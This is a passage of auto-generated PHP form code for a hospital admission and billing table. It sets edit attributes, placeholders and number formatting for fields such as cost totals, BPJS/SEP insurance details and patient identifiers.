TOT_BIAYA_AMBULAN\n\t\t\t$this->TOT_BIAYA_AMBULAN->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_AMBULAN->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AMBULAN->EditValue = ew_HtmlEncode($this->TOT_BIAYA_AMBULAN->CurrentValue);\n\t\t\t$this->TOT_BIAYA_AMBULAN->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_AMBULAN->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_AMBULAN->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_AMBULAN->EditValue)) $this->TOT_BIAYA_AMBULAN->EditValue = ew_FormatNumber($this->TOT_BIAYA_AMBULAN->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_FISIO\n\t\t\t$this->TOT_BIAYA_FISIO->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_FISIO->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_FISIO->EditValue = ew_HtmlEncode($this->TOT_BIAYA_FISIO->CurrentValue);\n\t\t\t$this->TOT_BIAYA_FISIO->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_FISIO->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_FISIO->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_FISIO->EditValue)) $this->TOT_BIAYA_FISIO->EditValue = ew_FormatNumber($this->TOT_BIAYA_FISIO->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_BIAYA_LAINLAIN\n\t\t\t$this->TOT_BIAYA_LAINLAIN->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_LAINLAIN->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAINLAIN->EditValue = ew_HtmlEncode($this->TOT_BIAYA_LAINLAIN->CurrentValue);\n\t\t\t$this->TOT_BIAYA_LAINLAIN->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_LAINLAIN->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_LAINLAIN->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_LAINLAIN->EditValue)) $this->TOT_BIAYA_LAINLAIN->EditValue = ew_FormatNumber($this->TOT_BIAYA_LAINLAIN->EditValue, -2, -1, -2, 0);\n\n\t\t\t// jenisperawatan_id\n\t\t\t$this->jenisperawatan_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->jenisperawatan_id->EditCustomAttributes = \"\";\n\t\t\t$this->jenisperawatan_id->EditValue = ew_HtmlEncode($this->jenisperawatan_id->CurrentValue);\n\t\t\t$this->jenisperawatan_id->PlaceHolder = ew_RemoveHtml($this->jenisperawatan_id->FldCaption());\n\n\t\t\t// status_transaksi\n\t\t\t$this->status_transaksi->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->status_transaksi->EditCustomAttributes = \"\";\n\t\t\t$this->status_transaksi->EditValue = ew_HtmlEncode($this->status_transaksi->CurrentValue);\n\t\t\t$this->status_transaksi->PlaceHolder = ew_RemoveHtml($this->status_transaksi->FldCaption());\n\n\t\t\t// statuskeluarranap_id\n\t\t\t$this->statuskeluarranap_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->statuskeluarranap_id->EditCustomAttributes = \"\";\n\t\t\t$this->statuskeluarranap_id->EditValue = ew_HtmlEncode($this->statuskeluarranap_id->CurrentValue);\n\t\t\t$this->statuskeluarranap_id->PlaceHolder = ew_RemoveHtml($this->statuskeluarranap_id->FldCaption());\n\n\t\t\t// TOT_BIAYA_AKOMODASI\n\t\t\t$this->TOT_BIAYA_AKOMODASI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_BIAYA_AKOMODASI->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AKOMODASI->EditValue = ew_HtmlEncode($this->TOT_BIAYA_AKOMODASI->CurrentValue);\n\t\t\t$this->TOT_BIAYA_AKOMODASI->PlaceHolder = ew_RemoveHtml($this->TOT_BIAYA_AKOMODASI->FldCaption());\n\t\t\tif (strval($this->TOT_BIAYA_AKOMODASI->EditValue) <> \"\" && is_numeric($this->TOT_BIAYA_AKOMODASI->EditValue)) $this->TOT_BIAYA_AKOMODASI->EditValue = ew_FormatNumber($this->TOT_BIAYA_AKOMODASI->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOTAL_BIAYA_ASKEP\n\t\t\t$this->TOTAL_BIAYA_ASKEP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOTAL_BIAYA_ASKEP->EditCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_ASKEP->EditValue = ew_HtmlEncode($this->TOTAL_BIAYA_ASKEP->CurrentValue);\n\t\t\t$this->TOTAL_BIAYA_ASKEP->PlaceHolder = ew_RemoveHtml($this->TOTAL_BIAYA_ASKEP->FldCaption());\n\t\t\tif (strval($this->TOTAL_BIAYA_ASKEP->EditValue) <> \"\" && is_numeric($this->TOTAL_BIAYA_ASKEP->EditValue)) $this->TOTAL_BIAYA_ASKEP->EditValue = ew_FormatNumber($this->TOTAL_BIAYA_ASKEP->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOTAL_BIAYA_SIMRS\n\t\t\t$this->TOTAL_BIAYA_SIMRS->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOTAL_BIAYA_SIMRS->EditCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_SIMRS->EditValue = ew_HtmlEncode($this->TOTAL_BIAYA_SIMRS->CurrentValue);\n\t\t\t$this->TOTAL_BIAYA_SIMRS->PlaceHolder = ew_RemoveHtml($this->TOTAL_BIAYA_SIMRS->FldCaption());\n\t\t\tif (strval($this->TOTAL_BIAYA_SIMRS->EditValue) <> \"\" && is_numeric($this->TOTAL_BIAYA_SIMRS->EditValue)) $this->TOTAL_BIAYA_SIMRS->EditValue = ew_FormatNumber($this->TOTAL_BIAYA_SIMRS->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_PENJ_NMEDIS\n\t\t\t$this->TOT_PENJ_NMEDIS->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_PENJ_NMEDIS->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_PENJ_NMEDIS->EditValue = ew_HtmlEncode($this->TOT_PENJ_NMEDIS->CurrentValue);\n\t\t\t$this->TOT_PENJ_NMEDIS->PlaceHolder = ew_RemoveHtml($this->TOT_PENJ_NMEDIS->FldCaption());\n\t\t\tif (strval($this->TOT_PENJ_NMEDIS->EditValue) <> \"\" && is_numeric($this->TOT_PENJ_NMEDIS->EditValue)) $this->TOT_PENJ_NMEDIS->EditValue = ew_FormatNumber($this->TOT_PENJ_NMEDIS->EditValue, -2, -1, -2, 0);\n\n\t\t\t// LINK_MASTERDETAIL\n\t\t\t$this->LINK_MASTERDETAIL->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->LINK_MASTERDETAIL->EditCustomAttributes = \"\";\n\t\t\t$this->LINK_MASTERDETAIL->EditValue = ew_HtmlEncode($this->LINK_MASTERDETAIL->CurrentValue);\n\t\t\t$this->LINK_MASTERDETAIL->PlaceHolder = ew_RemoveHtml($this->LINK_MASTERDETAIL->FldCaption());\n\n\t\t\t// NO_SKP\n\t\t\t$this->NO_SKP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NO_SKP->EditCustomAttributes = \"\";\n\t\t\t$this->NO_SKP->EditValue = ew_HtmlEncode($this->NO_SKP->CurrentValue);\n\t\t\t$this->NO_SKP->PlaceHolder = ew_RemoveHtml($this->NO_SKP->FldCaption());\n\n\t\t\t// LINK_PELAYANAN_OBAT\n\t\t\t$this->LINK_PELAYANAN_OBAT->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->LINK_PELAYANAN_OBAT->EditCustomAttributes = \"\";\n\t\t\t$this->LINK_PELAYANAN_OBAT->EditValue = ew_HtmlEncode($this->LINK_PELAYANAN_OBAT->CurrentValue);\n\t\t\t$this->LINK_PELAYANAN_OBAT->PlaceHolder = ew_RemoveHtml($this->LINK_PELAYANAN_OBAT->FldCaption());\n\n\t\t\t// TOT_TIND_RAJAL\n\t\t\t$this->TOT_TIND_RAJAL->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_TIND_RAJAL->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_RAJAL->EditValue = ew_HtmlEncode($this->TOT_TIND_RAJAL->CurrentValue);\n\t\t\t$this->TOT_TIND_RAJAL->PlaceHolder = ew_RemoveHtml($this->TOT_TIND_RAJAL->FldCaption());\n\t\t\tif (strval($this->TOT_TIND_RAJAL->EditValue) <> \"\" && is_numeric($this->TOT_TIND_RAJAL->EditValue)) $this->TOT_TIND_RAJAL->EditValue = ew_FormatNumber($this->TOT_TIND_RAJAL->EditValue, -2, -1, -2, 0);\n\n\t\t\t// TOT_TIND_IGD\n\t\t\t$this->TOT_TIND_IGD->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->TOT_TIND_IGD->EditCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_IGD->EditValue = ew_HtmlEncode($this->TOT_TIND_IGD->CurrentValue);\n\t\t\t$this->TOT_TIND_IGD->PlaceHolder = ew_RemoveHtml($this->TOT_TIND_IGD->FldCaption());\n\t\t\tif (strval($this->TOT_TIND_IGD->EditValue) <> \"\" && is_numeric($this->TOT_TIND_IGD->EditValue)) $this->TOT_TIND_IGD->EditValue = ew_FormatNumber($this->TOT_TIND_IGD->EditValue, -2, -1, -2, 0);\n\n\t\t\t// tanggal_pengembalian_status\n\t\t\t$this->tanggal_pengembalian_status->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->tanggal_pengembalian_status->EditCustomAttributes = \"\";\n\t\t\t$this->tanggal_pengembalian_status->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->tanggal_pengembalian_status->CurrentValue, 8));\n\t\t\t$this->tanggal_pengembalian_status->PlaceHolder = ew_RemoveHtml($this->tanggal_pengembalian_status->FldCaption());\n\n\t\t\t// naik_kelas\n\t\t\t$this->naik_kelas->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->naik_kelas->EditCustomAttributes = \"\";\n\t\t\t$this->naik_kelas->EditValue = ew_HtmlEncode($this->naik_kelas->CurrentValue);\n\t\t\t$this->naik_kelas->PlaceHolder = ew_RemoveHtml($this->naik_kelas->FldCaption());\n\n\t\t\t// iuran_kelas_lama\n\t\t\t$this->iuran_kelas_lama->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->iuran_kelas_lama->EditCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_lama->EditValue = ew_HtmlEncode($this->iuran_kelas_lama->CurrentValue);\n\t\t\t$this->iuran_kelas_lama->PlaceHolder = ew_RemoveHtml($this->iuran_kelas_lama->FldCaption());\n\t\t\tif (strval($this->iuran_kelas_lama->EditValue) <> \"\" && is_numeric($this->iuran_kelas_lama->EditValue)) $this->iuran_kelas_lama->EditValue = ew_FormatNumber($this->iuran_kelas_lama->EditValue, -2, -1, -2, 0);\n\n\t\t\t// iuran_kelas_baru\n\t\t\t$this->iuran_kelas_baru->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->iuran_kelas_baru->EditCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_baru->EditValue = ew_HtmlEncode($this->iuran_kelas_baru->CurrentValue);\n\t\t\t$this->iuran_kelas_baru->PlaceHolder = ew_RemoveHtml($this->iuran_kelas_baru->FldCaption());\n\t\t\tif (strval($this->iuran_kelas_baru->EditValue) <> \"\" && is_numeric($this->iuran_kelas_baru->EditValue)) $this->iuran_kelas_baru->EditValue = ew_FormatNumber($this->iuran_kelas_baru->EditValue, -2, -1, -2, 0);\n\n\t\t\t// ketrangan_naik_kelas\n\t\t\t$this->ketrangan_naik_kelas->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ketrangan_naik_kelas->EditCustomAttributes = \"\";\n\t\t\t$this->ketrangan_naik_kelas->EditValue = ew_HtmlEncode($this->ketrangan_naik_kelas->CurrentValue);\n\t\t\t$this->ketrangan_naik_kelas->PlaceHolder = ew_RemoveHtml($this->ketrangan_naik_kelas->FldCaption());\n\n\t\t\t// tgl_pengiriman_ad_klaim\n\t\t\t$this->tgl_pengiriman_ad_klaim->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->tgl_pengiriman_ad_klaim->EditCustomAttributes = \"\";\n\t\t\t$this->tgl_pengiriman_ad_klaim->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->tgl_pengiriman_ad_klaim->CurrentValue, 8));\n\t\t\t$this->tgl_pengiriman_ad_klaim->PlaceHolder = ew_RemoveHtml($this->tgl_pengiriman_ad_klaim->FldCaption());\n\n\t\t\t// diagnosa_keluar\n\t\t\t$this->diagnosa_keluar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->diagnosa_keluar->EditCustomAttributes = \"\";\n\t\t\t$this->diagnosa_keluar->EditValue = ew_HtmlEncode($this->diagnosa_keluar->CurrentValue);\n\t\t\t$this->diagnosa_keluar->PlaceHolder = ew_RemoveHtml($this->diagnosa_keluar->FldCaption());\n\n\t\t\t// sep_tglsep\n\t\t\t$this->sep_tglsep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_tglsep->EditCustomAttributes = \"\";\n\t\t\t$this->sep_tglsep->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->sep_tglsep->CurrentValue, 8));\n\t\t\t$this->sep_tglsep->PlaceHolder = ew_RemoveHtml($this->sep_tglsep->FldCaption());\n\n\t\t\t// sep_tglrujuk\n\t\t\t$this->sep_tglrujuk->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_tglrujuk->EditCustomAttributes = \"\";\n\t\t\t$this->sep_tglrujuk->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->sep_tglrujuk->CurrentValue, 8));\n\t\t\t$this->sep_tglrujuk->PlaceHolder = ew_RemoveHtml($this->sep_tglrujuk->FldCaption());\n\n\t\t\t// sep_kodekelasrawat\n\t\t\t$this->sep_kodekelasrawat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodekelasrawat->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodekelasrawat->EditValue = ew_HtmlEncode($this->sep_kodekelasrawat->CurrentValue);\n\t\t\t$this->sep_kodekelasrawat->PlaceHolder = ew_RemoveHtml($this->sep_kodekelasrawat->FldCaption());\n\n\t\t\t// sep_norujukan\n\t\t\t$this->sep_norujukan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_norujukan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_norujukan->EditValue = ew_HtmlEncode($this->sep_norujukan->CurrentValue);\n\t\t\t$this->sep_norujukan->PlaceHolder = ew_RemoveHtml($this->sep_norujukan->FldCaption());\n\n\t\t\t// sep_kodeppkasal\n\t\t\t$this->sep_kodeppkasal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodeppkasal->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkasal->EditValue = ew_HtmlEncode($this->sep_kodeppkasal->CurrentValue);\n\t\t\t$this->sep_kodeppkasal->PlaceHolder = ew_RemoveHtml($this->sep_kodeppkasal->FldCaption());\n\n\t\t\t// sep_namappkasal\n\t\t\t$this->sep_namappkasal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namappkasal->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namappkasal->EditValue = ew_HtmlEncode($this->sep_namappkasal->CurrentValue);\n\t\t\t$this->sep_namappkasal->PlaceHolder = ew_RemoveHtml($this->sep_namappkasal->FldCaption());\n\n\t\t\t// sep_kodeppkpelayanan\n\t\t\t$this->sep_kodeppkpelayanan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodeppkpelayanan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkpelayanan->EditValue = ew_HtmlEncode($this->sep_kodeppkpelayanan->CurrentValue);\n\t\t\t$this->sep_kodeppkpelayanan->PlaceHolder = ew_RemoveHtml($this->sep_kodeppkpelayanan->FldCaption());\n\n\t\t\t// sep_namappkpelayanan\n\t\t\t$this->sep_namappkpelayanan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namappkpelayanan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namappkpelayanan->EditValue = ew_HtmlEncode($this->sep_namappkpelayanan->CurrentValue);\n\t\t\t$this->sep_namappkpelayanan->PlaceHolder = ew_RemoveHtml($this->sep_namappkpelayanan->FldCaption());\n\n\t\t\t// t_admissioncol\n\t\t\t$this->t_admissioncol->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->t_admissioncol->EditCustomAttributes = \"\";\n\t\t\t$this->t_admissioncol->EditValue = ew_HtmlEncode($this->t_admissioncol->CurrentValue);\n\t\t\t$this->t_admissioncol->PlaceHolder = ew_RemoveHtml($this->t_admissioncol->FldCaption());\n\n\t\t\t// sep_jenisperawatan\n\t\t\t$this->sep_jenisperawatan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_jenisperawatan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_jenisperawatan->EditValue = ew_HtmlEncode($this->sep_jenisperawatan->CurrentValue);\n\t\t\t$this->sep_jenisperawatan->PlaceHolder = ew_RemoveHtml($this->sep_jenisperawatan->FldCaption());\n\n\t\t\t// sep_catatan\n\t\t\t$this->sep_catatan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_catatan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_catatan->EditValue = ew_HtmlEncode($this->sep_catatan->CurrentValue);\n\t\t\t$this->sep_catatan->PlaceHolder = ew_RemoveHtml($this->sep_catatan->FldCaption());\n\n\t\t\t// sep_kodediagnosaawal\n\t\t\t$this->sep_kodediagnosaawal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodediagnosaawal->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodediagnosaawal->EditValue = ew_HtmlEncode($this->sep_kodediagnosaawal->CurrentValue);\n\t\t\t$this->sep_kodediagnosaawal->PlaceHolder = ew_RemoveHtml($this->sep_kodediagnosaawal->FldCaption());\n\n\t\t\t// sep_namadiagnosaawal\n\t\t\t$this->sep_namadiagnosaawal->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namadiagnosaawal->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namadiagnosaawal->EditValue = ew_HtmlEncode($this->sep_namadiagnosaawal->CurrentValue);\n\t\t\t$this->sep_namadiagnosaawal->PlaceHolder = ew_RemoveHtml($this->sep_namadiagnosaawal->FldCaption());\n\n\t\t\t// sep_lakalantas\n\t\t\t$this->sep_lakalantas->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_lakalantas->EditCustomAttributes = \"\";\n\t\t\t$this->sep_lakalantas->EditValue = ew_HtmlEncode($this->sep_lakalantas->CurrentValue);\n\t\t\t$this->sep_lakalantas->PlaceHolder = ew_RemoveHtml($this->sep_lakalantas->FldCaption());\n\n\t\t\t// sep_lokasilaka\n\t\t\t$this->sep_lokasilaka->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_lokasilaka->EditCustomAttributes = \"\";\n\t\t\t$this->sep_lokasilaka->EditValue = ew_HtmlEncode($this->sep_lokasilaka->CurrentValue);\n\t\t\t$this->sep_lokasilaka->PlaceHolder = ew_RemoveHtml($this->sep_lokasilaka->FldCaption());\n\n\t\t\t// sep_user\n\t\t\t$this->sep_user->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_user->EditCustomAttributes = \"\";\n\t\t\t$this->sep_user->EditValue = ew_HtmlEncode($this->sep_user->CurrentValue);\n\t\t\t$this->sep_user->PlaceHolder = ew_RemoveHtml($this->sep_user->FldCaption());\n\n\t\t\t// sep_flag_cekpeserta\n\t\t\t$this->sep_flag_cekpeserta->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_flag_cekpeserta->EditCustomAttributes = \"\";\n\t\t\t$this->sep_flag_cekpeserta->EditValue = ew_HtmlEncode($this->sep_flag_cekpeserta->CurrentValue);\n\t\t\t$this->sep_flag_cekpeserta->PlaceHolder = ew_RemoveHtml($this->sep_flag_cekpeserta->FldCaption());\n\n\t\t\t// sep_flag_generatesep\n\t\t\t$this->sep_flag_generatesep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_flag_generatesep->EditCustomAttributes = \"\";\n\t\t\t$this->sep_flag_generatesep->EditValue = ew_HtmlEncode($this->sep_flag_generatesep->CurrentValue);\n\t\t\t$this->sep_flag_generatesep->PlaceHolder = ew_RemoveHtml($this->sep_flag_generatesep->FldCaption());\n\n\t\t\t// sep_flag_mapingsep\n\t\t\t$this->sep_flag_mapingsep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_flag_mapingsep->EditCustomAttributes = \"\";\n\t\t\t$this->sep_flag_mapingsep->EditValue = ew_HtmlEncode($this->sep_flag_mapingsep->CurrentValue);\n\t\t\t$this->sep_flag_mapingsep->PlaceHolder = ew_RemoveHtml($this->sep_flag_mapingsep->FldCaption());\n\n\t\t\t// sep_nik\n\t\t\t$this->sep_nik->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_nik->EditCustomAttributes = \"\";\n\t\t\t$this->sep_nik->EditValue = ew_HtmlEncode($this->sep_nik->CurrentValue);\n\t\t\t$this->sep_nik->PlaceHolder = ew_RemoveHtml($this->sep_nik->FldCaption());\n\n\t\t\t// sep_namapeserta\n\t\t\t$this->sep_namapeserta->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namapeserta->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namapeserta->EditValue = ew_HtmlEncode($this->sep_namapeserta->CurrentValue);\n\t\t\t$this->sep_namapeserta->PlaceHolder = ew_RemoveHtml($this->sep_namapeserta->FldCaption());\n\n\t\t\t// sep_jeniskelamin\n\t\t\t$this->sep_jeniskelamin->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_jeniskelamin->EditCustomAttributes = \"\";\n\t\t\t$this->sep_jeniskelamin->EditValue = ew_HtmlEncode($this->sep_jeniskelamin->CurrentValue);\n\t\t\t$this->sep_jeniskelamin->PlaceHolder = ew_RemoveHtml($this->sep_jeniskelamin->FldCaption());\n\n\t\t\t// sep_pisat\n\t\t\t$this->sep_pisat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_pisat->EditCustomAttributes = \"\";\n\t\t\t$this->sep_pisat->EditValue = ew_HtmlEncode($this->sep_pisat->CurrentValue);\n\t\t\t$this->sep_pisat->PlaceHolder = ew_RemoveHtml($this->sep_pisat->FldCaption());\n\n\t\t\t// sep_tgllahir\n\t\t\t$this->sep_tgllahir->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_tgllahir->EditCustomAttributes = \"\";\n\t\t\t$this->sep_tgllahir->EditValue = ew_HtmlEncode($this->sep_tgllahir->CurrentValue);\n\t\t\t$this->sep_tgllahir->PlaceHolder = ew_RemoveHtml($this->sep_tgllahir->FldCaption());\n\n\t\t\t// sep_kodejeniskepesertaan\n\t\t\t$this->sep_kodejeniskepesertaan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodejeniskepesertaan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodejeniskepesertaan->EditValue = ew_HtmlEncode($this->sep_kodejeniskepesertaan->CurrentValue);\n\t\t\t$this->sep_kodejeniskepesertaan->PlaceHolder = ew_RemoveHtml($this->sep_kodejeniskepesertaan->FldCaption());\n\n\t\t\t// sep_namajeniskepesertaan\n\t\t\t$this->sep_namajeniskepesertaan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namajeniskepesertaan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namajeniskepesertaan->EditValue = ew_HtmlEncode($this->sep_namajeniskepesertaan->CurrentValue);\n\t\t\t$this->sep_namajeniskepesertaan->PlaceHolder = ew_RemoveHtml($this->sep_namajeniskepesertaan->FldCaption());\n\n\t\t\t// sep_kodepolitujuan\n\t\t\t$this->sep_kodepolitujuan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_kodepolitujuan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_kodepolitujuan->EditValue = ew_HtmlEncode($this->sep_kodepolitujuan->CurrentValue);\n\t\t\t$this->sep_kodepolitujuan->PlaceHolder = ew_RemoveHtml($this->sep_kodepolitujuan->FldCaption());\n\n\t\t\t// sep_namapolitujuan\n\t\t\t$this->sep_namapolitujuan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_namapolitujuan->EditCustomAttributes = \"\";\n\t\t\t$this->sep_namapolitujuan->EditValue = ew_HtmlEncode($this->sep_namapolitujuan->CurrentValue);\n\t\t\t$this->sep_namapolitujuan->PlaceHolder = ew_RemoveHtml($this->sep_namapolitujuan->FldCaption());\n\n\t\t\t// ket_jeniskelamin\n\t\t\t$this->ket_jeniskelamin->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ket_jeniskelamin->EditCustomAttributes = \"\";\n\t\t\t$this->ket_jeniskelamin->EditValue = ew_HtmlEncode($this->ket_jeniskelamin->CurrentValue);\n\t\t\t$this->ket_jeniskelamin->PlaceHolder = ew_RemoveHtml($this->ket_jeniskelamin->FldCaption());\n\n\t\t\t// sep_nokabpjs\n\t\t\t$this->sep_nokabpjs->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_nokabpjs->EditCustomAttributes = \"\";\n\t\t\t$this->sep_nokabpjs->EditValue = ew_HtmlEncode($this->sep_nokabpjs->CurrentValue);\n\t\t\t$this->sep_nokabpjs->PlaceHolder = ew_RemoveHtml($this->sep_nokabpjs->FldCaption());\n\n\t\t\t// counter_cetak_sep\n\t\t\t$this->counter_cetak_sep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->counter_cetak_sep->EditCustomAttributes = \"\";\n\t\t\t$this->counter_cetak_sep->EditValue = ew_HtmlEncode($this->counter_cetak_sep->CurrentValue);\n\t\t\t$this->counter_cetak_sep->PlaceHolder = ew_RemoveHtml($this->counter_cetak_sep->FldCaption());\n\n\t\t\t// sep_petugas_hapus_sep\n\t\t\t$this->sep_petugas_hapus_sep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_petugas_hapus_sep->EditCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_hapus_sep->EditValue = ew_HtmlEncode($this->sep_petugas_hapus_sep->CurrentValue);\n\t\t\t$this->sep_petugas_hapus_sep->PlaceHolder = ew_RemoveHtml($this->sep_petugas_hapus_sep->FldCaption());\n\n\t\t\t// sep_petugas_set_tgl_pulang\n\t\t\t$this->sep_petugas_set_tgl_pulang->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_petugas_set_tgl_pulang->EditCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_set_tgl_pulang->EditValue = ew_HtmlEncode($this->sep_petugas_set_tgl_pulang->CurrentValue);\n\t\t\t$this->sep_petugas_set_tgl_pulang->PlaceHolder = ew_RemoveHtml($this->sep_petugas_set_tgl_pulang->FldCaption());\n\n\t\t\t// sep_jam_generate_sep\n\t\t\t$this->sep_jam_generate_sep->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_jam_generate_sep->EditCustomAttributes = \"\";\n\t\t\t$this->sep_jam_generate_sep->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->sep_jam_generate_sep->CurrentValue, 8));\n\t\t\t$this->sep_jam_generate_sep->PlaceHolder = ew_RemoveHtml($this->sep_jam_generate_sep->FldCaption());\n\n\t\t\t// sep_status_peserta\n\t\t\t$this->sep_status_peserta->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_status_peserta->EditCustomAttributes = \"\";\n\t\t\t$this->sep_status_peserta->EditValue = ew_HtmlEncode($this->sep_status_peserta->CurrentValue);\n\t\t\t$this->sep_status_peserta->PlaceHolder = ew_RemoveHtml($this->sep_status_peserta->FldCaption());\n\n\t\t\t// sep_umur_pasien_sekarang\n\t\t\t$this->sep_umur_pasien_sekarang->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sep_umur_pasien_sekarang->EditCustomAttributes = \"\";\n\t\t\t$this->sep_umur_pasien_sekarang->EditValue = ew_HtmlEncode($this->sep_umur_pasien_sekarang->CurrentValue);\n\t\t\t$this->sep_umur_pasien_sekarang->PlaceHolder = ew_RemoveHtml($this->sep_umur_pasien_sekarang->FldCaption());\n\n\t\t\t// ket_title\n\t\t\t$this->ket_title->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->ket_title->EditCustomAttributes = \"\";\n\t\t\t$this->ket_title->EditValue = ew_HtmlEncode($this->ket_title->CurrentValue);\n\t\t\t$this->ket_title->PlaceHolder = ew_RemoveHtml($this->ket_title->FldCaption());\n\n\t\t\t// status_daftar_ranap\n\t\t\t$this->status_daftar_ranap->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->status_daftar_ranap->EditCustomAttributes = \"\";\n\t\t\t$this->status_daftar_ranap->EditValue = ew_HtmlEncode($this->status_daftar_ranap->CurrentValue);\n\t\t\t$this->status_daftar_ranap->PlaceHolder = ew_RemoveHtml($this->status_daftar_ranap->FldCaption());\n\n\t\t\t// IBS_SETMARKING\n\t\t\t$this->IBS_SETMARKING->EditAttrs[\"class\"] = 